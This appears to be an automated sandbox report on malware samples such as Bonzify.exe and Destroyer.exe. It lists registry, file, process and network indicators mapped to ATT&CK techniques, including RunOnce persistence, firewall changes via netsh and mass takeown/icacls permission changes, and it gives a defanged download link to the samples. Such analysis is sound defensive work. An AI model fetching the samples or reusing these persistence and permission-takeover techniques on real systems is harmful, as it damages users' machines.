hxxps://mega[.]nz/folder/WmAyxRaC#J76wNbsVS9RlhD0k7bjJbQ

description	ioc	Process
Key created	\REGISTRY\MACHINE\software\WOW6432Node\microsoft\Active Setup\Installed Components	INSTALLER.exe
Key created	\REGISTRY\MACHINE\software\WOW6432Node\microsoft\Active Setup\Installed Components	INSTALLER.exe
Key created	\REGISTRY\MACHINE\software\WOW6432Node\microsoft\Active Setup\Installed Components	INSTALLER.exe
Key created	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe
Key created	\REGISTRY\MACHINE\software\WOW6432Node\microsoft\Active Setup\Installed Components	INSTALLER.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
85	1044	chrome.exe

Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

Modifies Windows Firewall 2 TTPs 16 IoCs

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4952	netsh.exe
2700	netsh.exe
1256	netsh.exe
4724	netsh.exe
5224	netsh.exe
4452	netsh.exe
5328	netsh.exe
5948	netsh.exe
1664	netsh.exe
3712	netsh.exe
2876	netsh.exe
3444	netsh.exe
2484	netsh.exe
4828	netsh.exe
5540	netsh.exe
1604	netsh.exe

Possible privilege escalation attempt 64 IoCs

exploit

pid	Process
5812	icacls.exe
5356	icacls.exe
4928	icacls.exe
4304	icacls.exe
5368	icacls.exe
4232	takeown.exe
5980	takeown.exe
2260	takeown.exe
4180	takeown.exe
4000	icacls.exe
3712	icacls.exe
4792	icacls.exe
5788	icacls.exe
1096	icacls.exe
4488	takeown.exe
1940	takeown.exe
6136	icacls.exe
5260	takeown.exe
4028	takeown.exe
4076	takeown.exe
2620	icacls.exe
3180	icacls.exe
2056	icacls.exe
4844	takeown.exe
3928	takeown.exe
4388	icacls.exe
1840	takeown.exe
3636	takeown.exe
5308	takeown.exe
5556	takeown.exe
5560	icacls.exe
4828	takeown.exe
4204	takeown.exe
5344	icacls.exe
3736	icacls.exe
4492	icacls.exe
5076	takeown.exe
3732	icacls.exe
5280	icacls.exe
2088	icacls.exe
5660	takeown.exe
1956	icacls.exe
2176	icacls.exe
1940	icacls.exe
5068	icacls.exe
6100	icacls.exe
892	takeown.exe
948	icacls.exe
3608	icacls.exe
2044	takeown.exe
5036	icacls.exe
3788	icacls.exe
3416	takeown.exe
3652	takeown.exe
3732	icacls.exe
728	takeown.exe
3876	icacls.exe
1956	takeown.exe
1828	icacls.exe
4972	takeown.exe
1276	takeown.exe
1924	takeown.exe
3100	icacls.exe
4388	icacls.exe

Executes dropped EXE 12 IoCs

pid	Process
3612	Bonzify.exe
3892	INSTALLER.exe
3048	AgentSvr.exe
5668	INSTALLER.exe
1428	AgentSvr.exe
4900	Bonzify.exe
4092	INSTALLER.exe
1112	AgentSvr.exe
1256	INSTALLER.exe
1012	AgentSvr.exe
1436	Destroyer.exe
2264	Destroyer.exe

Loads dropped DLL 55 IoCs

pid	Process
3892	INSTALLER.exe
1112	regsvr32.exe
1496	regsvr32.exe
5952	regsvr32.exe
5184	regsvr32.exe
4340	regsvr32.exe
5244	regsvr32.exe
5160	regsvr32.exe
5668	INSTALLER.exe
2484	regsvr32.exe
2484	regsvr32.exe
4676	regsvr32.exe
3612	Bonzify.exe
1428	AgentSvr.exe
1428	AgentSvr.exe
1428	AgentSvr.exe
4900	Bonzify.exe
4908	taskkill.exe
5452	WerFault.exe
2088	WerFault.exe
4092	INSTALLER.exe
4092	INSTALLER.exe
1468	regsvr32.exe
1468	regsvr32.exe
1952	regsvr32.exe
1952	regsvr32.exe
4484	regsvr32.exe
4484	regsvr32.exe
2668	regsvr32.exe
2668	regsvr32.exe
3356	regsvr32.exe
3356	regsvr32.exe
5164	regsvr32.exe
5164	regsvr32.exe
3636	regsvr32.exe
3636	regsvr32.exe
1112	AgentSvr.exe
3736	grpconv.exe
1256	INSTALLER.exe
1256	INSTALLER.exe
4340	regsvr32.exe
4340	regsvr32.exe
4340	regsvr32.exe
1704	regsvr32.exe
1704	regsvr32.exe
1784	grpconv.exe
1012	AgentSvr.exe
4900	Bonzify.exe
1012	AgentSvr.exe
1012	AgentSvr.exe
1012	AgentSvr.exe
4888	WerFault.exe
5208	WerFault.exe
1436	Destroyer.exe
2264	Destroyer.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5560	icacls.exe
5560	icacls.exe
1964	takeown.exe
5476	icacls.exe
2096	icacls.exe
2304	takeown.exe
6072	takeown.exe
2824	icacls.exe
1684	icacls.exe
4688	takeown.exe
2788	icacls.exe
3520	icacls.exe
3916	takeown.exe
1556	takeown.exe
4232	takeown.exe
4076	icacls.exe
4472	icacls.exe
4348	icacls.exe
5220	icacls.exe
3616	icacls.exe
1976	takeown.exe
1376	icacls.exe
2716	icacls.exe
2600	icacls.exe
5984	icacls.exe
3312	icacls.exe
4844	takeown.exe
5644	icacls.exe
3660	icacls.exe
3240	takeown.exe
2132	takeown.exe
4852	icacls.exe
5508	icacls.exe
2600	takeown.exe
2684	takeown.exe
2864	icacls.exe
3568	takeown.exe
5488	icacls.exe
2864	icacls.exe
2852	takeown.exe
3788	icacls.exe
5144	icacls.exe
5812	takeown.exe
5816	takeown.exe
4864	takeown.exe
2480	icacls.exe
3616	takeown.exe
1956	icacls.exe
3876	icacls.exe
2480	takeown.exe
5996	icacls.exe
5184	icacls.exe
832	icacls.exe
3836	takeown.exe
1032	takeown.exe
576	takeown.exe
3396	takeown.exe
244	icacls.exe
4340	takeown.exe
5888	icacls.exe
5164	takeown.exe
2620	icacls.exe
1304	icacls.exe
5368	icacls.exe

System Binary Proxy Execution: Rundll32 1 TTPs 1 IoCs

Abuse Rundll32 to proxy execution of malicious code.

Rundll32

T1218.011

pid	Process
5220	rundll32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\tv_enua = "RunDll32 advpack.dll,LaunchINFSection C:\\Windows\\INF\\tv_enua.inf, RemoveCabinet"	INSTALLER.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\tv_enua = "RunDll32 advpack.dll,LaunchINFSection C:\\Windows\\INF\\tv_enua.inf, RemoveCabinet"	INSTALLER.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\F:	explorer.exe
File opened (read-only)	\??\D:	explorer.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
44	raw.githubusercontent.com
85	raw.githubusercontent.com

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5464	powershell.exe
3800	powershell.exe
3784	powershell.exe
4472	powershell.exe
1492	powershell.exe
3976	powershell.exe
5132	powershell.exe
3824	powershell.exe
3560	powershell.exe
900	powershell.exe
4528	powershell.exe
3224	powershell.exe
5512	powershell.exe
2660	powershell.exe
4180	powershell.exe
4968	powershell.exe
3936	powershell.exe
2108	powershell.exe
1424	powershell.exe
3632	powershell.exe
4012	powershell.exe
4648	powershell.exe
4000	powershell.exe
4452	powershell.exe
3280	powershell.exe
5756	powershell.exe
3776	powershell.exe
5824	powershell.exe
2992	powershell.exe
5836	powershell.exe
2088	powershell.exe
2712	powershell.exe
5948	powershell.exe
2296	powershell.exe
720	powershell.exe
4960	powershell.exe
1476	powershell.exe
4120	powershell.exe
5680	powershell.exe
4488	powershell.exe
32	powershell.exe
5796	powershell.exe
4952	powershell.exe
5212	powershell.exe
1256	powershell.exe
5316	powershell.exe
3904	powershell.exe
3716	powershell.exe
3980	powershell.exe
5328	powershell.exe
3800	powershell.exe
4628	powershell.exe
5716	powershell.exe
1076	powershell.exe
3728	powershell.exe
2900	powershell.exe
4548	powershell.exe
3628	powershell.exe
2676	powershell.exe
4920	powershell.exe
1568	powershell.exe
4244	powershell.exe
1272	powershell.exe
5548	powershell.exe

Drops file in System32 directory 26 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File created	C:\Windows\SysWOW64\SETA95C.tmp	INSTALLER.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\SysWOW64\SETA95C.tmp	INSTALLER.exe
File opened for modification	C:\Windows\SysWOW64\msvcp50.dll	INSTALLER.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
5716	tasklist.exe
4052	tasklist.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\executables.bin	Bonzify.exe
File created	C:\Windows\INF\SETA519.tmp	INSTALLER.exe
File opened for modification	C:\Windows\lhsp\tv\tvenuax.dll	INSTALLER.exe
File opened for modification	C:\Windows\msagent\AgentCtl.dll	INSTALLER.exe
File opened for modification	C:\Windows\msagent\SETA4F4.tmp	INSTALLER.exe
File created	C:\Windows\lhsp\tv\SETA947.tmp	INSTALLER.exe
File opened for modification	C:\Windows\INF\agtinst.inf	INSTALLER.exe
File created	C:\Windows\msagent\SETA4F4.tmp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\SETA4F6.tmp	INSTALLER.exe
File opened for modification	C:\Windows\help\SETA51B.tmp	INSTALLER.exe
File created	C:\Windows\msagent\SETA51D.tmp	INSTALLER.exe
File created	C:\Windows\msagent\chars\Bonzi.acs	Bonzify.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\lhsp\help\tv_enua.hlp	INSTALLER.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File created	C:\Windows\INF\SETA95B.tmp	INSTALLER.exe
File created	C:\Windows\help\SET7A87.tmp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\intl\Agt0409.dll	INSTALLER.exe
File opened for modification	C:\Windows\msagent\SET7A84.tmp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\mslwvtts.dll	INSTALLER.exe
File created	C:\Windows\msagent\intl\SETA51C.tmp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\AgentSR.dll	INSTALLER.exe
File opened for modification	C:\Windows\lhsp\tv\SET7D4C.tmp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\SETA4F3.tmp	INSTALLER.exe
File created	C:\Windows\msagent\SETA508.tmp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\SETA51A.tmp	INSTALLER.exe
File created	C:\Windows\help\SETA51B.tmp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\AgentSR.dll	INSTALLER.exe
File opened for modification	C:\Windows\lhsp\tv\tv_enua.dll	INSTALLER.exe
File opened for modification	C:\Windows\msagent\SETA4E2.tmp	INSTALLER.exe
File created	C:\Windows\msagent\SETA4E2.tmp	INSTALLER.exe
File opened for modification	C:\Windows\INF\SETA95B.tmp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\SET7A60.tmp	INSTALLER.exe
File opened for modification	C:\Windows\fonts\SET7D6E.tmp	INSTALLER.exe
File created	C:\Windows\msagent\SET7A5E.tmp	INSTALLER.exe
File opened for modification	C:\Windows\lhsp\tv\tv_enua.dll	INSTALLER.exe
File opened for modification	C:\Windows\msagent\intl\Agt0409.dll	INSTALLER.exe
File created	C:\Windows\lhsp\help\SETA949.tmp	INSTALLER.exe
File created	C:\Windows\fonts\SETA94A.tmp	INSTALLER.exe
File created	C:\Windows\msagent\SET7A61.tmp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\AgentDPv.dll	INSTALLER.exe
File opened for modification	C:\Windows\msagent\SET7A62.tmp	INSTALLER.exe
File opened for modification	C:\Windows\fonts\andmoipa.ttf	INSTALLER.exe
File created	C:\Windows\msagent\SET7A60.tmp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\SET7A73.tmp	INSTALLER.exe
File created	C:\Windows\msagent\intl\SET7A88.tmp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\AgtCtl15.tlb	INSTALLER.exe
File opened for modification	C:\Windows\lhsp\tv\SET7D5D.tmp	INSTALLER.exe
File opened for modification	C:\Windows\INF\SET7D6F.tmp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\AgentMPx.dll	INSTALLER.exe
File opened for modification	C:\Windows\occache\tv_enua.exe	rundll32.exe
File created	C:\Windows\msagent\SET7A5F.tmp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\SET7A89.tmp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\AgentDp2.dll	INSTALLER.exe
File opened for modification	C:\Windows\msagent\AgentSvr.exe	INSTALLER.exe
File opened for modification	C:\Windows\msagent\SET7A5E.tmp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\intl\SET7A88.tmp	INSTALLER.exe
File opened for modification	C:\Windows\INF\agtinst.inf	INSTALLER.exe
File opened for modification	C:\Windows\lhsp\help\tv_enua.hlp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\SET7A5F.tmp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\AgentMPx.dll	INSTALLER.exe
File created	C:\Windows\msagent\SETA4F7.tmp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\SETA508.tmp	INSTALLER.exe
File opened for modification	C:\Windows\msagent\intl\SETA51C.tmp	INSTALLER.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 3 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

persistence privilege_escalation

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Bonzify.exe:Zone.Identifier	chrome.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\Destroyer.exe:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\ShutNet.exe:Zone.Identifier	explorer.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 48 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
2088	4908	WerFault.exe	184
5208	4900	WerFault.exe	178

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe

Checks SCSI registry key(s) 3 TTPs 58 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
